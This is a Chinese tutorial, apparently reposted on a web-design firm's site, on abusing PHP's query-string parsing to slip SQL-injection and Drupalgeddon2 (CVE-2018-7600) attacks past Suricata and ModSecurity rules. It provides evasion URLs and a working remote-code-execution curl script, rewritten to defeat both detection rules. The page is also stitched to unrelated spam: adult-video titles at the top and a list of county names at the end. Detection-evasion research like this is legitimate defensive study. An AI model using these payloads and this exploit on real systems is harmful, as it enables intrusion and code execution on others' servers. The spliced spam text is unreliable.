成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

如何利用PHP的字符串解析特性Bypass

本篇內(nèi)容介紹了“如何利用PHP的字符串解析特性Bypass”的有關(guān)知識(shí),在實(shí)際案例的操作過(guò)程中,不少人都會(huì)遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

站在用戶的角度思考問(wèn)題,與客戶深入溝通,找到集安網(wǎng)站設(shè)計(jì)與集安網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個(gè)性化、用戶體驗(yàn)好的作品,建站類型包括:網(wǎng)站建設(shè)、網(wǎng)站制作、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、國(guó)際域名空間、虛擬主機(jī)、企業(yè)郵箱。業(yè)務(wù)覆蓋集安地區(qū)。

   我們知道PHP將查詢字符串(在URL或正文中)轉(zhuǎn)換為內(nèi)部$_GET或的關(guān)聯(lián)數(shù)組$_POST。例如:/?foo=bar變成Array([foo] => "bar")。值得注意的是,查詢字符串在解析的過(guò)程中會(huì)將某些字符刪除或用下劃線代替。例如,/?%20news[id%00=42會(huì)轉(zhuǎn)換為Array([news_id] => 42)。如果一個(gè)IDS/IPS或WAF中有一條規(guī)則是當(dāng)news_id參數(shù)的值是一個(gè)非數(shù)字的值則攔截,那么我們就可以用以下語(yǔ)句繞過(guò):

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP語(yǔ)句的參數(shù)%20news[id%00的值將存儲(chǔ)到$_GET["news_id"]中。

HP需要將所有參數(shù)轉(zhuǎn)換為有效的變量名,因此在解析查詢字符串時(shí),它會(huì)做兩件事:

1.刪除空白符

2.將某些字符轉(zhuǎn)換為下劃線(包括空格)

例如:

User inputDecoded PHPvariable name
%20foo_bar%00foo_barfoo_bar
foo%20bar%00foo barfoo_bar
foo%5bbarfoo[barfoo_bar

通過(guò)以下這個(gè)示例,你可以更直觀的看到parser_str函數(shù)如何處理字符串:

如何利用PHP的字符串解析特性Bypass

<?php
    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {
            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
                /* yes... I've added a sleep time on each loop just for 
                the scenic effect :) like that movie with unrealistic 
                brute-force where the password are obtained 
                one byte at a time (∩`-′)?━☆?.*??? 
                */
                usleep(5000);
                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }
            echo "\033[999D\033[K\r";
            echo "\n";
    }

如何利用PHP的字符串解析特性Bypass

parse_str函數(shù)通常被自動(dòng)應(yīng)用于get、post請(qǐng)求和cookie中。如果你的Web服務(wù)器接受帶有特殊字符的參數(shù)名,那么也會(huì)發(fā)生類似的情況。如上代碼所示,我進(jìn)行了多次循環(huán),枚舉了參數(shù)名三個(gè)位置的0到255之間的所有字符,看看解析函數(shù)到底是如何處理這些特殊字符的。結(jié)果如下:

1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

如何利用PHP的字符串解析特性Bypass

如何利用PHP的字符串解析特性Bypass

在上述方案中,foo%20bar和foo+bar等效,均解析為foo bar。

Suricata

也許你也聽(tīng)過(guò)這款軟件,Suricata是一個(gè)“開(kāi)源、成熟、快速、強(qiáng)大的網(wǎng)絡(luò)威脅檢測(cè)引擎”,它的引擎能夠進(jìn)行實(shí)時(shí)入侵檢測(cè)(IDS)、入侵防御系統(tǒng)(IPS)、網(wǎng)絡(luò)安全監(jiān)控(NSM)和離線流量包處理。

在Suricata中你可以自定義一個(gè)HTTP流量的檢測(cè)規(guī)則。假設(shè)你有這樣一個(gè)規(guī)則:

alert http any any -> $HOME_NET any (\
    msg: "Block SQLi"; flow:established,to_server;\
    content: "POST"; http_method;\
    pcre: "/news_id=[^0-9]+/Pi";\
    sid:1234567;\
)

簡(jiǎn)單來(lái)說(shuō),上述規(guī)則會(huì)檢查news_id的值是否是數(shù)字。那么根據(jù)上述知識(shí),我們可以很容易的繞過(guò)防御,如下所示:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

通過(guò)在Google和Github上進(jìn)行搜索,我發(fā)現(xiàn)有很多關(guān)于Suricata規(guī)則可以通過(guò)替換下劃線或插入空字符來(lái)繞過(guò)。一個(gè)真實(shí)的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

上述規(guī)則可以通過(guò)以下方式繞過(guò):

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

當(dāng)然,這條規(guī)則交換參數(shù)位置即可繞過(guò),比如:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF(ModSecurity)

此外,PHP查詢字符串的解析特性也可用以繞過(guò)WAF。想象一下,它的規(guī)則類似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",這顯然可以通過(guò)相同的手段繞過(guò)。幸運(yùn)的是,在ModSecurity中,可以通過(guò)正則表達(dá)式指定查詢字符串中的參數(shù)。比如:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

以上規(guī)則將攔截諸如以下的請(qǐng)求:

??/?news[id=1%22+AND+1=1--'
??/?news%5bid=1%22+AND+1=1--'
??/?news_id%00=1%22+AND+1=1--'

PoC || GTFO

讓我們用Suricata和Drupal CMS創(chuàng)建一個(gè)以利用CVE-2018-7600(Drupalgeddon2遠(yuǎn)程執(zhí)行代碼)的簡(jiǎn)單PoC。為了簡(jiǎn)單起見(jiàn),我將在兩個(gè)Docker容器上運(yùn)行Suricata和Drupal,并嘗試?yán)@過(guò)Suricata攻擊Drupal。

我將使用兩條Suricata防御規(guī)則:

1.一條自定義規(guī)則攔截form_id=user_register_form

2.另一條是關(guān)于CVE-2018-7600的通用規(guī)則

如何利用PHP的字符串解析特性Bypass

Suricata官方安裝流程點(diǎn)擊[這里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA)。對(duì)于Drupal,我運(yùn)行了一個(gè)Vulhub容器,你可以在這里下載:

如何利用PHP的字符串解析特性Bypass

首先,讓我們嘗試?yán)肅VE-2018-7600。一個(gè)利用curl命令的小型bash腳本,比如:

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如你所見(jiàn),上面的腳本將執(zhí)行命令id:

如何利用PHP的字符串解析特性Bypass

現(xiàn)在,讓我們嘗試往Suricata導(dǎo)入以下兩條規(guī)則:我編寫(xiě)了第一個(gè)規(guī)則,它只是嘗試form_id=user_register_form在請(qǐng)求體內(nèi)進(jìn)行匹配; Positive Technology /user/register在請(qǐng)求URL和#post_render請(qǐng)求正文中寫(xiě)了第二個(gè)匹配項(xiàng)。我的規(guī)則:

alert http any any -> $HOME_NET any (\
  msg: "Possible Drupalgeddon2 attack";\
  flow: established, to_server;\
  content: "/user/register"; http_uri;\
  content: "POST"; http_method;\
  pcre: "/form_id=user_register_form/Pi";\
  sid: 10002807;\
  rev: 1;\
)

通用規(guī)則:

alert http any any -> $HOME_NET any (\
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
  flow: established, to_server; \
  content: "/user/register"; http_uri; \
  content: "POST"; http_method; \
  content: "drupal"; http_client_body; \
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
  reference: cve, 2018-7600; \
  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
  classtype: attempted-admin; \
  reference: url, github.com/ptresearch/AttackDetection; \
  metadata: Open Ptsecurity.com ruleset; \
  sid: 10002808; \
  rev: 2; \
)

在重啟Suricata后,我的攻擊被成功報(bào)警:

可以看到,我們得到了兩條日志:

1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

Bypass!

這兩條規(guī)則其實(shí)都很容易繞過(guò)。首先,對(duì)于敏感字段form_id=user_register_form,我們可將其替換為如下內(nèi)容:

form%5bid=user_register_form

如上圖所見(jiàn),現(xiàn)在只有通用規(guī)則的警報(bào)。分析通用規(guī)則的正則表達(dá)式,我們可以看到它對(duì)#和%23敏感,但不涉及下劃線的編碼。因此,我們可以使用post%5frender代替post_render來(lái)繞過(guò):

最后得出可繞過(guò)兩個(gè)規(guī)則的PoC:

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

“如何利用PHP的字符串解析特性Bypass”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!

文章名稱:如何利用PHP的字符串解析特性Bypass
路徑分享:http://jinyejixie.com/article34/ppecpe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站維護(hù)網(wǎng)站排名、小程序開(kāi)發(fā)、外貿(mào)網(wǎng)站建設(shè)網(wǎng)站建設(shè)、建站公司

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

網(wǎng)站優(yōu)化排名
建瓯市| 秦安县| 高阳县| 竹山县| 天镇县| 孝昌县| 疏勒县| 毕节市| 华蓥市| 大足县| 琼海市| 昆山市| 左云县| 登封市| 平顺县| 宁海县| 商洛市| 高唐县| 定西市| 奉新县| 湛江市| 沙田区| 丹阳市| 南陵县| 新沂市| 岳西县| 正蓝旗| 运城市| 平定县| 丽江市| 五指山市| 阆中市| 中方县| 开阳县| 永福县| 青州市| 汾西县| 天柱县| 汕头市| 靖江市| 泽普县|